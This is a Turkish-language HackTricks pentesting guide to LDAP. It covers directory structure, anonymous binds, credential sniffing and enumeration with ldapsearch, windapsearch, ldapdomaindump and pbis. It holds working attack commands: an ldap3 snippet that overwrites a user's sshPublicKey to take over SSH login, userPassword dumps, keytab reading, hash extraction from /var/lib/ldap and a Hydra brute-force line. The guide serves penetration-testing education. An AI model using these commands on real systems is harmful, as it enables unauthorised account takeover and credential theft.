# 389, 636, 3268, 3269 - Pentesting LDAP {{#include ../banners/hacktricks-training.md}} **LDAP** (Hafif Dizin Erişim Protokolü) kullanımı, hem kamu hem de özel ağlar içinde organizasyonlar, bireyler ve dosyalar ile cihazlar gibi çeşitli varlıkları bulmak için esasen kullanılır. Daha önceki versiyonu DAP'a kıyasla daha küçük bir kod ayak izi ile daha akıcı bir yaklaşım sunar. LDAP dizinleri, birkaç sunucuya dağıtılmalarını sağlamak için yapılandırılmıştır; her sunucu, Dizin Sistemi Ajanı (DSA) olarak adlandırılan dizinin **çoğaltılmış** ve **senkronize** bir versiyonunu barındırır. İstekleri işleme sorumluluğu tamamen LDAP sunucusuna aittir ve bu sunucu, talep edene birleşik bir yanıt sunmak için gerektiğinde diğer DSA'larla iletişim kurabilir. LDAP dizininin organizasyonu, **en üstte kök dizin ile başlayan bir ağaç hiyerarşisini** andırır. Bu, ülkelere, ardından organizasyonlara ve daha sonra çeşitli bölümleri veya departmanları temsil eden organizasyonel birimlere ayrılır ve nihayetinde bireysel varlıklar seviyesine, hem insanlar hem de dosyalar ve yazıcılar gibi paylaşılan kaynaklar dahil olmak üzere ulaşır. **Varsayılan port:** 389 ve 636(ldaps). Global Katalog (ActiveDirectory'deki LDAP) varsayılan olarak 3268 ve 3269 portlarında LDAPS için mevcuttur. ``` PORT STATE SERVICE REASON 389/tcp open ldap syn-ack 636/tcp open tcpwrapped ``` ### LDAP Veri Değişim Formatı LDIF (LDAP Veri Değişim Formatı), dizin içeriğini bir dizi kayıt olarak tanımlar. Ayrıca güncelleme taleplerini (Ekle, Değiştir, Sil, Yeniden Adlandır) de temsil edebilir. ```bash dn: dc=local dc: local objectClass: dcObject dn: dc=moneycorp,dc=local dc: moneycorp objectClass: dcObject objectClass: organization dn ou=it,dc=moneycorp,dc=local objectClass: organizationalUnit ou: dev dn: ou=marketing,dc=moneycorp,dc=local objectClass: organizationalUnit Ou: sales dn: cn= ,ou= ,dc=moneycorp,dc=local objectClass: personalData cn: sn: gn: uid: ou: mail: pepe@hacktricks.xyz phone: 23627387495 ``` - Satır 1-3, üst düzey alanı local olarak tanımlar - Satır 5-8, birinci düzey alanı moneycorp (moneycorp.local) olarak tanımlar - Satır 10-16, 2 organizasyonel birimi tanımlar: dev ve sales - Satır 18-26, alanın bir nesnesini oluşturur ve değerlerle birlikte nitelikler atar ## Veri Yazma Değerleri değiştirebiliyorsanız, gerçekten ilginç eylemler gerçekleştirebilirsiniz. Örneğin, kullanıcı veya herhangi bir kullanıcının **"sshPublicKey" bilgisini değiştirebileceğinizi** hayal edin. Bu niteliğin mevcut olması durumunda, **ssh'nin LDAP'dan genel anahtarları okuduğu** oldukça olasıdır. Bir kullanıcının genel anahtarını değiştirebilirseniz, **şifre kimlik doğrulaması ssh'de etkin olmasa bile o kullanıcı olarak oturum açabileceksiniz**. ```bash # Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/ >>> import ldap3 >>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True) >>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True) >>> connection.bind() True >>> connection.extend.standard.who_am_i() u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN' >>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]}) ``` ## Düz Metin Kimlik Bilgilerini Dinleme Eğer LDAP SSL olmadan kullanılıyorsa, ağda **kimlik bilgilerini düz metin olarak dinleyebilirsiniz.** Ayrıca, **LDAP sunucusu ile istemci arasında** bir **MITM** saldırısı gerçekleştirebilirsiniz. Burada, istemcinin **düz metin kimlik bilgilerini** kullanarak giriş yapması için bir **Downgrade Attack** yapabilirsiniz. **Eğer SSL kullanılıyorsa**, yukarıda bahsedilen şekilde **MITM** yapmayı deneyebilirsiniz, ancak **yanlış bir sertifika** sunarak, eğer **kullanıcı bunu kabul ederse**, kimlik doğrulama yöntemini düşürme ve kimlik bilgilerini tekrar görme imkanınız olur. ## Anonim Erişim ### TLS SNI kontrolünü atlama [**bu yazıya**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) göre, LDAP sunucusuna rastgele bir alan adı (örneğin company.com) ile erişerek, anonim bir kullanıcı olarak LDAP hizmetiyle iletişim kurup bilgi çıkarabildi. ```bash ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" + ``` ### LDAP anonim bağlanmaları [LDAP anonim bağlanmaları](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled), **kimlik doğrulaması yapılmamış saldırganların** alan bilgilerini, kullanıcıların, grupların, bilgisayarların, kullanıcı hesap özelliklerinin ve alan parola politikasının tam listesini almasına olanak tanır. Bu, **eski bir yapılandırmadır** ve Windows Server 2003 itibarıyla yalnızca kimlik doğrulaması yapılmış kullanıcıların LDAP istekleri başlatmasına izin verilmektedir.\ Ancak, yöneticiler **anonim bağlanmalara izin vermek için belirli bir uygulama kurmak zorunda kalmış olabilir** ve böylece kimlik doğrulaması yapılmamış kullanıcılara AD'deki tüm nesnelere erişim vermiş olabilirler. ## Geçerli Kimlik Bilgileri LDAP sunucusuna giriş yapmak için geçerli kimlik bilgilerine sahipseniz, alan yöneticisi hakkında tüm bilgileri dökebilirsiniz: [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) ```bash pip3 install ldapdomaindump ldapdomaindump [-r ] -u '\' -p '' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir] ``` ### [Brute Force](../generic-hacking/brute-force.md#ldap) ## Enumeration ### Automated Bunu kullanarak **kamusal bilgileri** (örneğin alan adı)**:** görebileceksiniz. ```bash nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials ``` ### Python
Python ile LDAP sayımı görün Python kullanarak **kimlik bilgileri ile veya kimlik bilgileri olmadan bir LDAP'ı saymayı** deneyebilirsiniz: `pip3 install ldap3` Öncelikle **kimlik bilgileri olmadan** bağlanmayı deneyin: ```bash >>> import ldap3 >>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True) >>> connection = ldap3.Connection(server) >>> connection.bind() True >>> server.info ``` Eğer yanıt `True` ise, önceki örnekte olduğu gibi, LDAP sunucusundan bazı **ilginç veriler** (örneğin **isim bağlamı** veya **alan adı**) elde edebilirsiniz: ```bash >>> server.info DSA info (from DSE): Supported LDAP versions: 3 Naming contexts: dc=DOMAIN,dc=DOMAIN ``` Adlandırma bağlamını elde ettikten sonra, daha heyecan verici sorgular yapabilirsiniz. Bu basit sorgu, dizindeki tüm nesneleri gösterecektir: ```bash >>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*') True >> connection.entries ``` Veya **dump** tüm ldap: ```bash >> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword') True >>> connection.entries ```
### windapsearch [**Windapsearch**](https://github.com/ropnop/windapsearch) , LDAP sorgularını kullanarak bir Windows alanından **kullanıcıları, grupları ve bilgisayarları listelemek** için yararlı bir Python betiğidir. ```bash # Get computers python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers # Get groups python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups # Get users python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da # Get Domain Admins python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da # Get Privileged Users python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users ``` ### ldapsearch Null kimlik bilgilerini kontrol edin veya kimlik bilgilerinizin geçerli olup olmadığını kontrol edin: ```bash ldapsearch -x -H ldap:// -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=" ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_SUBDOMAIN>,DC=" ``` ```bash # CREDENTIALS NOT VALID RESPONSE search: 2 result: 1 Operations error text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera tion a successful bind must be completed on the connection., data 0, v3839 ``` Eğer "_bind must be completed_" diyen bir şey bulursanız, bu, kimlik bilgilerin yanlış olduğu anlamına gelir. **Bir alan adından her şeyi** çıkartabilirsiniz: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_SUBDOMAIN>,DC=" -x Simple Authentication -H LDAP Server -D My User -w My password -b Base site, all data from here will be given ``` Kullanıcıları çıkarın: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=" #Example: ldapsearch -x -H ldap:// -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local" ``` **bilgisayarlar** ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=" ``` **bilgilerimi çıkar** ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` **Domain Admins**'ı çıkarın: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` **Domain Kullanıcıları**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` **Kurumsal Yöneticileri** çıkarın: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` **Yönetici**leri Çıkarın: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" ``` **Uzak Masaüstü Grubu**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" ``` Herhangi bir şifreye erişiminiz olup olmadığını görmek için, sorgulardan birini çalıştırdıktan sonra grep kullanabilirsiniz: ```bash | grep -i -A2 -B2 "userpas" ``` Lütfen burada bulabileceğiniz şifrelerin gerçek olmayabileceğini unutmayın... #### pbis **pbis**'i buradan indirebilirsiniz: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) ve genellikle `/opt/pbis` dizinine kurulur.\ **Pbis**, temel bilgileri kolayca almanızı sağlar: ```bash #Read keytab file ./klist -k /etc/krb5.keytab #Get known domains info ./get-status ./lsa get-status #Get basic metrics ./get-metrics ./lsa get-metrics #Get users ./enum-users ./lsa enum-users #Get groups ./enum-groups ./lsa enum-groups #Get all kind of objects ./enum-objects ./lsa enum-objects #Get groups of a user ./list-groups-for-user ./lsa list-groups-for-user #Get groups of each user ./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done #Get users of a group ./enum-members --by-name "domain admins" ./lsa enum-members --by-name "domain admins" #Get users of each group ./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done #Get description of each user ./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n | grep "CN" | while read line; do echo "$line"; ./adtool --keytab=/etc/krb5.keytab -n -a lookup-object --dn="$line" --attr "description"; echo "======================" done ``` ## Grafik Arayüzü ### Apache Directory [**Apache Directory'yi buradan indirin**](https://directory.apache.org/studio/download/download-linux.html). Bu aracı nasıl kullanacağınıza dair bir [örneği buradan bulabilirsiniz](https://www.youtube.com/watch?v=VofMBg2VLnw&t=3840s). ### jxplorer LDAP sunucusu ile grafik bir arayüzü buradan indirebilirsiniz: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html) Varsayılan olarak şurada kurulu: _/opt/jxplorer_ ![](<../images/image (482).png>) ### Godap Godap, AD ve diğer LDAP sunucularındaki nesneler ve niteliklerle etkileşimde bulunmak için kullanılabilen etkileşimli bir terminal kullanıcı arayüzüdür. Windows, Linux ve MacOS için mevcuttur ve basit bağlamalar, pass-the-hash, pass-the-ticket ve pass-the-cert gibi yöntemlerin yanı sıra nesneleri arama/oluşturma/değiştirme/silme, gruplardan kullanıcı ekleme/çıkarma, şifre değiştirme, nesne izinlerini (DACL'ler) düzenleme, Active-Directory Entegre DNS (ADIDNS) değiştirme, JSON dosyalarına aktarma gibi birkaç özel özelliği destekler. ![](../images/godap.png) Buna [https://github.com/Macmod/godap](https://github.com/Macmod/godap) adresinden erişebilirsiniz. Kullanım örnekleri ve talimatlar için [Wiki'yi](https://github.com/Macmod/godap/wiki) okuyun. ### Ldapx Ldapx, diğer araçlardan LDAP trafiğini incelemek ve dönüştürmek için kullanılabilen esnek bir LDAP proxy'sidir. Kimlik koruma ve LDAP izleme araçlarını atlatmaya çalışmak için LDAP trafiğini gizlemek amacıyla kullanılabilir ve [MaLDAPtive](https://www.youtube.com/watch?v=mKRS5Iyy7Qo) konuşmasında sunulan yöntemlerin çoğunu uygular. ![](../images/ldapx.png) Bunu [https://github.com/Macmod/ldapx](https://github.com/Macmod/ldapx) adresinden edinebilirsiniz. ## Kerberos ile Kimlik Doğrulama `ldapsearch` kullanarak **NTLM** yerine **kerberos** ile **kimlik doğrulaması** yapabilirsiniz; bunun için `-Y GSSAPI` parametresini kullanın. ## POST Veritabanlarının bulunduğu dosyalara erişebiliyorsanız (bu _/var/lib/ldap_ içinde olabilir). Hash'leri çıkarmak için: ```bash cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u ``` john'u şifre hash'i ile besleyebilirsiniz ('{SSHA}' ile 'structural' arasında 'structural' eklemeden). ### Yapılandırma Dosyaları - Genel - containers.ldif - ldap.cfg - ldap.conf - ldap.xml - ldap-config.xml - ldap-realm.xml - slapd.conf - IBM SecureWay V3 sunucusu - V3.sas.oc - Microsoft Active Directory sunucusu - msadClassesAttrs.ldif - Netscape Directory Server 4 - nsslapd.sas_at.conf - nsslapd.sas_oc.conf - OpenLDAP dizin sunucusu - slapd.sas_at.conf - slapd.sas_oc.conf - Sun ONE Directory Server 5.1 - 75sas.ldif ## HackTricks Otomatik Komutlar ``` Protocol_Name: LDAP #Protocol Abbreviation if there is one. Port_Number: 389,636 #Comma separated if there is more than one. Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for LDAP Note: | The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint. https://book.hacktricks.xyz/pentesting/pentesting-ldap Entry_2: Name: Banner Grab Description: Grab LDAP Banner Command: nmap -p 389 --script ldap-search -Pn {IP} Entry_3: Name: LdapSearch Description: Base LdapSearch Command: ldapsearch -H ldap://{IP} -x Entry_4: Name: LdapSearch Naming Context Dump Description: Attempt to get LDAP Naming Context Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts Entry_5: Name: LdapSearch Big Dump Description: Need Naming Context to do big dump Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}" Entry_6: Name: Hydra Brute Force Description: Need User Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f ``` {{#include ../banners/hacktricks-training.md}}